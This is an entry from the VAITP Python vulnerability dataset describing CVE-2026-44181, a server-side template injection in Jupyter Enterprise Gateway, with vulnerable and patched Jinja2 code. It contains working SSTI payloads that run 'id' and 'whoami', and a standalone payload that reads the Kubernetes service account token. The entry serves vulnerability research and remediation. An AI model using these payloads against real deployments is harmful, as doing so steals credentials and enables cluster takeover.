VAITP Dataset

← Back to the dataset

CVE-2026-44181

SSTI in Jupyter Enterprise Gateway env vars allows RCE and cluster compromise.

  • CVSS 10.0
  • CWE-1336
  • Input Validation and Sanitization
  • Remote

Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. In versions 2.0.0rc2 and above, prior to 3.3.0, the environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount. This issue has been fixed in version 3.3.0.

CVSS base score
10.0
Published
2026-07-16
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Jupyter Ente
Fixed by upgrading
Yes

Solution

Upgrade to Jupyter Enterprise Gateway version 3.3.0.

Vulnerable code sample

import jinja2
import os

# Simplified representation of a Kubernetes manifest template used by
# a vulnerable version of Jupyter Enterprise Gateway.
# Note the placeholder for an environment variable: {{ env['KERNEL_USERNAME'] }}
pod_template = """
apiVersion: v1
kind: Pod
metadata:
  name: kernel-pod-{{ env['KERNEL_ID'] }}
  labels:
    user: "{{ env['KERNEL_USERNAME'] }}"
spec:
  containers:
  - name: kernel
    image: some-kernel-image:latest
"""

# In the actual attack, this payload would be set as an environment variable
# for the Enterprise Gateway process (e.g., KERNEL_USERNAME).
malicious_payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"

# This simulates the environment that the Gateway process would use
# for template rendering, including the attacker-controlled variable.
simulated_environment_from_request = {
    'KERNEL_ID': 'a1b2c3d4-e5f6-7890-g1h2-i3j4k5l6m7n8',
    'KERNEL_USERNAME': malicious_payload
}

# The vulnerable operation: creating a Jinja2 template and rendering it
# directly with the un-sanitized environment data. The SSTI payload
# is executed by the .render() call on the server.
template = jinja2.Template(pod_template)
rendered_output = template.render(env=simulated_environment_from_request)

# The 'rendered_output' variable now contains the result of the 'id' command,
# which was executed on the server running this code.
# In a real scenario, this malformed manifest might fail when sent to
# Kubernetes, but the command execution has already succeeded.
# To see the result, you would print(rendered_output).

Patched code sample

import jinja2

def get_fixed_manifest(user_provided_kernel_env_value: str) -> str:
    """
    Demonstrates the fix for the SSTI vulnerability by treating user input
    as data, not as executable template code.
    """
    # The manifest template contains a standard Jinja2 placeholder.
    # It is a static string and is not constructed from user input.
    kubernetes_manifest_template = """
apiVersion: v1
kind: Pod
spec:
  containers:
  - name: kernel
    env:
    - name: KERNEL_USER_VAR
      value: "{{ kernel_value }}"
"""

    # Initialize the Jinja2 environment.
    # The template is parsed once from the static string.
    env = jinja2.Environment()
    template = env.from_string(kubernetes_manifest_template)

    # THE FIX:
    # The user-controlled value is passed into the `render` function as context.
    # Jinja2 will safely substitute the `{{ kernel_value }}` placeholder
    # with the literal string content of the user input. It will NOT
    # parse and execute the user input as a nested template.
    rendered_manifest = template.render(kernel_value=user_provided_kernel_env_value)

    return rendered_manifest

# Example of a malicious payload a user might provide.
# This attempts to execute the 'whoami' command via SSTI.
malicious_payload = "{{ ''.__class__.__mro__[1].__subclasses__()[133]('whoami', shell=True, stdout=-1).stdout.read().decode() }}"

# Generate the manifest using the fixed, safe method.
safe_output = get_fixed_manifest(malicious_payload)

# When printed, `safe_output` will show the malicious payload as a literal
# string in the 'value' field, proving it was not executed.
#
# Expected 'value' field in the output:
# value: "{{ ''.__class__.__mro__[1].__subclasses__()[133]('whoami', shell=True, stdout=-1).stdout.read().decode() }}"
#
# The vulnerability existed because the user input was incorporated into the
# template string *before* rendering, rather than being passed as data *during*
# rendering.

Payload

{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('cat /var/run/secrets/kubernetes.io/serviceaccount/token').read() }}

Cite this entry

@misc{vaitp:cve202644181,
  title        = {{SSTI in Jupyter Enterprise Gateway env vars allows RCE and cluster compromise.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44181},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44181/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::